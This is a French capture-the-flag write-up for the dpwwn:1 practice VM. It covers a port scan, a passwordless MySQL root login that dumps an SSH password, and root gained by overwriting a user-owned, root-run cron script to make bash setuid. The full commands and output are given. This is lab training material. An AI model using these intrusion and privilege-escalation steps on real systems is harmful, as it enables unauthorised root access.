J’ai passé plus de temps à mettre en place la VM du dpwwn: 1 qu’à l’exploiter : impossible de la faire fonctionne sur VirtualBox selon lequel il manquait des disques et j’ai eu plusieurs ratées sur VMWare concernant la récupération d’une adresse IP.
Finalement au bout d’un moment l’import de la VM a fonctionné dans VMWare. Le système était extrêmement lent, mais ça fonctionnait.
La machine expose trois ports :
1
2
3
4
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Sur le serveur web, on trouve juste un info.php
correspondant à un phpinfo()
. Il contient une adresse IPv6 mais un scan supplémentaire n’a remonté aucun nouveau port.
J’ai alors essayé de me connecter sur le MySQL en root
et sans mot de passe et ça a fonctionné :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ mysql -u root -h 192.168.242.128
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2
Server version: 5.5.60-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| ssh |
+--------------------+
4 rows in set (0,003 sec)
MariaDB [(none)]> use ssh;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [ssh]> show tables;
+---------------+
| Tables_in_ssh |
+---------------+
| users |
+---------------+
1 row in set (0,001 sec)
MariaDB [ssh]> select * from users;
+----+----------+---------------------+
| id | username | password |
+----+----------+---------------------+
| 1 | mistic | testP@$$swordmistic |
+----+----------+---------------------+
1 row in set (0,001 sec)
Ce mot de passe présent dans la base ssh
permet sans trop de surprise de se connecter sur le service du même nom.
On découvre dans le dossier personnel de l’utilisateur un script bash :
1
-rwx------. 1 mistic mistic 186 1 août 2019 logrot.sh
Ce dernier n’a rien d’intéressant :
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
#
#LOGFILE="/var/tmp"
#SEMAPHORE="/var/tmp.semaphore"
while : ; do
read line
while [[ -f $SEMAPHORE ]]; do
sleep 1s
done
printf "%s\n" "$line" >> $LOGFILE
done
On se dit qu’il est sans doute appelé par une crontab et c’est bien le cas :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[mistic@dpwwn-01 ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/3 * * * * root /home/mistic/logrot.sh
Vu que l’on est propriétaire du fichier, on va écraser son contenu pour obtenir un shell setuid root :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[mistic@dpwwn-01 ~]$ echo -e '#!/bin/bash\nchmod 4755 /usr/bin/bash' > logrot.sh
[mistic@dpwwn-01 ~]$ sleep 180
[mistic@dpwwn-01 ~]$ ls -l /usr/bin/bash
-rwsr-xr-x. 1 root root 918400 30 oct. 2018 /usr/bin/bash
[mistic@dpwwn-01 ~]$ bash -p
bash-4.2# id
uid=1000(mistic) gid=1000(mistic) euid=0(root) groupes=1000(mistic) contexte=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.2# cd /root
bash-4.2# ls
anaconda-ks.cfg dpwwn-01-FLAG.txt
bash-4.2# cat dpwwn-01-FLAG.txt
Congratulation! I knew you can pwn it as this very easy challenge.
Thank you.
64445777
6e643634
37303737
37373665
36347077
776e6450
4077246e
33373336
36359090